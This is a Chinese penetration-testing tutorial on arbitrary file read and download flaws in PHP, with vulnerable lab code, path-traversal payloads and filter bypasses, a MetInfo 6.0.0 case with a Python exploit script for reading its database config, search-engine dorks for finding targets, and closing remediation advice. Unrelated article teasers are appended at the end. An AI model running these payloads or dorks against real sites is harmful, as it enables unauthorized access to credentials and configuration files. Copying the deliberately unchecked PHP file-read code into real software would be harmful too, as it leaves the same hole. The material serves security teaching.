任意文件读取
文章目录
- 渗透测试漏洞原理
- 任意文件读取
- 1. 任意文件读取概述
- 1.1 漏洞成因
- 1.2 漏洞危害
- 1.3 漏洞分类
- 1.4 任意文件读取
- 1.4.1 文件读取
- 1.4.2 任意文件读取
- 1.4.3 权限问题
- 1.5 任意文件下载
- 1.5.1 一般情况
- 1.5.2 PHP实现
- 1.5.3 任意文件下载
- 2. 任意文件读取攻防
- 2.1 路径过滤
- 2.1.1 过滤../
- 2.2 简单绕过
- 2.2.1 双写绕过
- 2.2.2 绝对路径
- 2.2.3 使用..\
- 2.2.4 设置白名单
- 3. 任意文件读取挖掘
- 3.1 手工挖掘
- 3.2 经典案例(metlnfo_6.0.0_file-read)
- 3.2.1 漏洞描述
- 3.2.2 漏洞等级
- 3.2.3 影响版本
- 3.2.4 漏洞复现
- 3.2.5 漏洞点分析
- 3.2.6 深度利用
- 3.2.7 修复建议
- 4. 漏洞修复方案
- 4.1 输入验证
- 4.2 避免其他漏洞
- 4.3 限定文件的访问范围
渗透测试漏洞原理

任意文件读取
1. 任意文件读取概述
一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。
- 任意文件读取会造成(敏感)信息泄露:
- 任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
- 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
1.1 漏洞成因
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:
- 存在读取文件的功能(函数),也就是说,Wb应用开放了文件读取功能:
- 读取文件的路径客户端可控,完全控制或影响文件路径参数:
- 没有对文件路径进行校验或者校验不严导致校验被绕过,
- 输出了文件的内容。
1.2 漏洞危害
下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。
任意文件读取与下载重点关注的文件:
- 源代码
- 配置文件
- 敏感文件
- 日志文件
- …
1.3 漏洞分类
- 任意文件读取
- 任意文件下载
1.4 任意文件读取
以PHP脚本为例子,有一些函数可以实现文件读取功能。
1.4.1 文件读取
| 读取文件的函数 | 函数特点 |
|---|---|
| readfile() | 直接读取文件内容 自带输出功能 |
| feed() | 直接读取文件内容 需要输出读取内容 |
| fread() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
函数具体介绍:PHP: Hypertext Preprocessor。
实验环境在phpstudy的www目录下创建一个file-read目录,在目录中创建一下php文件。
readfile:
// readfile.php
<?php$fp = "../phpinfo.php"; readfile($fp);
?>

访问页面,查看页面源代码,读取成功。

file_get_contents:
// file_get_contents.php
<?php$fp = "../phpinfo.php"; echo file_get_contents($fp);
?>

访问页面,查看页面源代码,读取成功。

fread:
// fread.php
<?php$fp = "../phpinfo.php";$f = fopen($fp,'r'); //打开文件$f_size = filesize($fp); //计算文件大小echo fread($f, $f_size); //读取文件内容并输出到页面上fclose($f);
?>

访问页面,查看页面源代码,读取成功。

1.4.2 任意文件读取
变量$fp,会捕获GET方式传递过来的filepath参数。
$fp = @$_GET['filepath'];


filepath客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts

1.4.3 权限问题
- Windows + IIS + ASP/ASPX:低权限
- Windows + Apache + php:高权限
- Windows + Java:高权限
- Linux + Apache + PHP:低权限
- Linux + Nginx + PHP:不一定
- Linux + Java:高权限
1.5 任意文件下载
1.5.1 一般情况
直接下载:例如图片另存为。
a标签下载:
<a href = './a.jpg'>IMG Download</a>
1.5.2 PHP实现
PHP文件下载实现过程:
- 先读取文件
- 在输出文件
- 提供下载
// file-download.php<?php$fp = './a.jpg';header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>
1.5.3 任意文件下载
任意文件下载的条件:
- 已知目标文件路径
- 目标文件路径,客户端可控
- 没有经过校验或校验不严格
$fp = $_GET['filepath'];
实验:
<?php$fp = $_GET['filepath'];// header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>

下载成功

文件内容如下:

2. 任意文件读取攻防
2.1 路径过滤
2.1.1 过滤…/
<?php$fp = @$_GET['filepath'];$fp = str_replace("../","",$fp); readfile($fp);
?>
2.2 简单绕过
2.2.1 双写绕过
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
2.2.2 绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts
2.2.3 使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
2.2.4 设置白名单
设置只能访问a,b,cPHP文件
<?php$fp = @$_GET['filepath'];if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){readfile($fp);}else{echo "Please stop!";}
?>
3. 任意文件读取挖掘
3.1 手工挖掘
| 从文件名上看 | 从参数名上看 |
|---|---|
| readfile.php filedownload.php filelist.php | f= file= filepath= fp= readfile= path= readpath= url= menu= META-INF= WEB-INF= content= |
3.2 经典案例(metlnfo_6.0.0_file-read)
下载链接:MetInfo历史版本与文件。
| 说明 | 内容 |
|---|---|
| 漏洞编号 | – |
| 漏洞名称 | MetInfo 6.0.0 任意文件读取漏洞 |
| 漏洞评级 | 高危 |
| 影响范围 | MetInfo 6.0.0 |
| 漏洞描述 | MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。 |
| 修复方案 | 打补丁 升级 上设备 |
3.2.1 漏洞描述
MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
3.2.2 漏洞等级
高危
3.2.3 影响版本
MetInfo 6.0.0
3.2.4 漏洞复现
基础环境
| 组件 | 版本 |
|---|---|
| OS | Microsoft Windows Server 2016 Standard |
| Web Server | phpStudy 2016 |
| MetInfo | 6.0.0 |
安装过程


访问页面

漏洞点
/include/thumb.php
页面访问该路径
http://127.0.0.1/MetInfo_6.0.0/include/thumb.php

使用bp抓包查看,bp是默认不抓图片的包,这里修改配置。

将抓取到的数据包右键发送到重发器上。

第一次测试
/include/thumb.php?dir=..././http/..././config/config_db.php

第二次测试
/include/thumb.php?dir=.....///http/.....///config/config_db.php

第三次测试
/include/thumb.php?dir=http/.....///.....///config/config_db.php

第四次测试
/include/thumb.php?dir=http\..\..\config\config_db.php

注意:
- 此POC 仅适用于Windows 系统,Linux 下无效。
- 因为输入的右斜线\在windows中作为目录的分隔符,而linux中不是。
3.2.5 漏洞点分析
漏洞点产生位置在thumb.php文件

加载old_thumb类

说明:这里的防守做两步判断
-
将…/和./全部过滤为空。
-
if判断前四个字符必须是http,并且计算./的位置,也就是提交的dir变量中是否有./的出现,如果没有出现返回false。
-
readfile():任意文件读取函数
-
dir这个读取文件的路径客户端可控,但是不完全可控,限制可以被绕过。
3.2.6 深度利用
exp编写
import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__ __________ .___\_ _____/|__| | ____ \______ \ ____ _____ __| _/| __) | | | _/ __ \ | _// __ \\__ \ / __ | | \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ | \___ / |__|____/\___ > |____|_ /\___ >____ /\____ | \/ \/ \/ \/ \/ \/ Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir": param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)

漏洞挖掘
指纹信息
传统搜索引擎
Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"
FOFA
app="metinfo"
ZoomEye
app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.7 修复建议
- 打补丁
- 升级
- 上设备
4. 漏洞修复方案
4.1 输入验证
- 让web用户只能访问(读取),所需要的文件和路径。
4.2 避免其他漏洞
- 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。
4.3 限定文件的访问范围
让用户不能访问Web根目录以外的路径。
php.ini配置文件中,可以通过选项open_basedir来限定文件访问的范围。
open_basedir = C:\software\phpstudy_pro\WWW

实验
不做限定的情况:

做限定的情况:

但是这样还有读取到当前的配置文件。

解决方式:所有的修复方案需要配合使用。
相关文章:
任意文件读取
文章目录 渗透测试漏洞原理任意文件读取1. 任意文件读取概述1.1 漏洞成因1.2 漏洞危害1.3 漏洞分类1.4 任意文件读取1.4.1 文件读取1.4.2 任意文件读取1.4.3 权限问题 1.5 任意文件下载1.5.1 一般情况1.5.2 PHP实现1.5.3 任意文件下载 2. 任意文件读取攻防2.1 路径过滤2.1.1 过…...
微信小程序餐饮外卖系统设计与实现
摘 要 随着现在的“互联网”的不断发展。现在传统的餐饮业也朝着网络化的方向不断的发展。现在线上线下的方式来实现餐饮的获客渠道增加,可以更好地帮助餐饮企业实现更多、更广的获客需求,实现更好的餐饮销售。截止到2021年末,我国的外卖市场…...
一文速览嵌入式六大出口
嵌入式行业的前景确实十分广阔,并且在许多领域都发挥着重要作用。以下是一些关键点,说明嵌入式系统的发展潜力和前途: 1. 物联网(IoT):嵌入式系统是实现智能家居、智能城市、智能工厂等物联网设备的核心。物…...
华为云云服务器评测 | 宝塔8.0镜像应用
目录 🍒写在前面 🍒产品优势 🍒购买服务器 🍒服务器配置 🍒登录宝塔页面 🦐博客主页:大虾好吃吗的博客 🦐专栏地址:闲谈专栏地址 写在前面 云耀云服务器L实例是新一代开箱…...
构建简单的Node.js HTTP服务器,发布公网远程访问的快速方法
文章目录 前言1.安装Node.js环境2.创建node.js服务3. 访问node.js 服务4.内网穿透4.1 安装配置cpolar内网穿透4.2 创建隧道映射本地端口 5.固定公网地址 前言 Node.js 是能够在服务器端运行 JavaScript 的开放源代码、跨平台运行环境。Node.js 由 OpenJS Foundation࿰…...
ModaHub魔搭社区:向量数据库产业的现状与技术挑战
I. 向量数据库的崛起 什么是向量数据库 在过去的一段时间里,向量数据库逐渐在数据库领域崭露头角。那么,什么是向量数据库呢?简单来说,向量数据库是一种专门设计用来处理向量数据的数据库。这些向量数据可以是物理测量、机器学习模型输出、地理空间数据等。向量数据库使用…...
pmp和软件高项哪个含金量高?
人们常将PMP和高项放在一起比较,因为这两种证书都适用于项目经理职位,它们有高达60%的知识点重合度。在决定考哪一种证书之前,人们常常会感到困惑。 下面看一下pmp和软考高项的差异。 发证机构不同 PMP(Project Management Professional)是…...
手把手教你用Vite构建第一个Vue3项目
写在前面 在之前的文章中写过“如何创建第一个vue项目”,但那篇文章写的是创建vue2的 项目。 传送门如何创建第一个vue项目 打开Vue.js官网:https://cn.vuejs.org/,我们会发现Vue 2 将于 2023 年 12 月 31 日停止维护 虽然Vue2的项目还不少࿰…...
美创科技获通信网络安全服务能力评定(应急响应一级)认证!
近日,中国通信企业协会公布通信网络安全服务能力评定2023年第一批获证企业名单。 美创科技获得应急响应一级资质,成为2023年第一批获证企业之一! 通信网络安全服务能力评定是对通信网络安全服务单位从事通信网络安全服务综合能力的评定&#…...
计算机视觉与人工智能在医美人脸皮肤诊断方面的应用
一、人脸皮肤诊断方法 近年来,随着计算机技术和人工智能的不断发展,中医领域开始逐渐探索利用这些先进技术来辅助面诊和诊断。在皮肤望诊方面,也出现了一些现代研究,尝试通过图像分析技术和人工智能算法来客观化地获取皮肤相关的…...
RCU501 RMP201-8 KONGSBERG 分布式处理单元
RCU501 RMP201-8 KONGSBERG 分布式处理单元 AutoChief600使用直接安装在主机接线盒中的分布式处理单元。进出发动机的所有信号都在双冗余CAN线路(发动机总线)上传输。 所有不重要的传感器都可以与K-Chief 600报警和监控系统共享,只需要一个主机接口。这一原则大大…...
说说 MVCC 的工作原理?
分析&回答 多版本并发控制(MVCC) InnoDB的MVCC,是通过在每行记录后面保存两个隐藏的列来实现。这两个列,一个保存了行的创建时间,一个保存行的删除时间,并不是实际的时间,而是系统版本号。每开始一个新的事务&am…...
微信小程序请求接口返回的二维码(图片),本地工具和真机测试都能显示,上线之后不显示问题
请求后端接口返回的图片: 页面展示: 代码实现: :show-menu-by-longpress"true" 是长按保存图片 base64Code 是转为base64的地址 <image class"code" :src"base64Code" alt"" :show-menu-by-long…...
Python小知识 - 1. Python装饰器(decorator)
Python装饰器(decorator) Python装饰器是一个很有用的功能,它可以让我们在不修改原有代码的情况下,为已有的函数或类添加额外的功能。 常见的使用场景有: a. 函数缓存:对于一些计算量较大的函数,…...
如何访问GitHub
1、手动修改hosts 1.1、查找到最新的GitHub的hosts信息 通过链接:https://raw.hellogithub.com/hosts 进行查找最新的GitHub的hosts信息 1.2、查找到hosts文件位置 先找到 hosts 文件的位置,不同操作系统,hosts 文件的存储位置也不同&…...
【广州华锐互动】智能变电站AR仿真实训系统大大提高培训的效率和质量
随着电力行业的不断发展,变电站的建设和运维变得越来越重要。传统的变电站运维培训方式存在着诸多问题,如难以真实模拟变电站运行环境、信息传递不及时、难以掌握实际操作技能等问题。而智能变电站AR仿真实训系统可以为变电站运维人员带来全新的培训方式…...
手写Mybatis:第11章-流程解耦,封装结果集处理器
文章目录 一、目标:结果集处理器二、设计:结果集处理器三、实现:结果集处理器3.1 工程结构3.2 结果集处理器关系图3.3 出参参数处理3.3.1 结果映射Map3.3.2 结果映射封装3.3.3 修改映射器语句类3.3.4 映射构建器助手3.3.5 语句构建器调用助手…...
金融风控数据分析-信用评分卡建模(附数据集下载地址)
本文引用自: 金融风控:信用评分卡建模流程 - 知乎 (zhihu.com) 在原文的基础上加上了一部分自己的理解,转载在CSDN上作为保留记录。 本文涉及到的数据集可直接从天池上面下载: Give Me Some Credit给我一些荣誉_数据集-阿里云…...
ceph对象三元素data、xattr、omap
这里有一个ceph的原则,就是所有存储的不管是块设备、对象存储、文件存储最后都转化成了底层的对象object,这个object包含3个元素data,xattr,omap。data是保存对象的数据,xattr是保存对象的扩展属性,每个对象…...
使用 BERT 进行文本分类 (03/3)
一、说明 在使用BERT(2)进行文本分类时,我们讨论了什么是PyTorch以及如何预处理我们的数据,以便可以使用BERT模型对其进行分析。在这篇文章中,我将向您展示如何训练分类器并对其进行评估。 二、准备数据的又一个步骤 …...
Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...
汽车生产虚拟实训中的技能提升与生产优化
在制造业蓬勃发展的大背景下,虚拟教学实训宛如一颗璀璨的新星,正发挥着不可或缺且日益凸显的关键作用,源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例,汽车生产线上各类…...
3403. 从盒子中找出字典序最大的字符串 I
3403. 从盒子中找出字典序最大的字符串 I 题目链接:3403. 从盒子中找出字典序最大的字符串 I 代码如下: class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...
DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...
宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...
R 语言科研绘图第 55 期 --- 网络图-聚类
在发表科研论文的过程中,科研绘图是必不可少的,一张好看的图形会是文章很大的加分项。 为了便于使用,本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中,获取方式: R 语言科研绘图模板 --- sciRplothttps://mp.…...
【p2p、分布式,区块链笔记 MESH】Bluetooth蓝牙通信 BLE Mesh协议的拓扑结构 定向转发机制
目录 节点的功能承载层(GATT/Adv)局限性: 拓扑关系定向转发机制定向转发意义 CG 节点的功能 节点的功能由节点支持的特性和功能决定。所有节点都能够发送和接收网格消息。节点还可以选择支持一个或多个附加功能,如 Configuration …...
什么是VR全景技术
VR全景技术,全称为虚拟现实全景技术,是通过计算机图像模拟生成三维空间中的虚拟世界,使用户能够在该虚拟世界中进行全方位、无死角的观察和交互的技术。VR全景技术模拟人在真实空间中的视觉体验,结合图文、3D、音视频等多媒体元素…...
Spring Security 认证流程——补充
一、认证流程概述 Spring Security 的认证流程基于 过滤器链(Filter Chain),核心组件包括 UsernamePasswordAuthenticationFilter、AuthenticationManager、UserDetailsService 等。整个流程可分为以下步骤: 用户提交登录请求拦…...
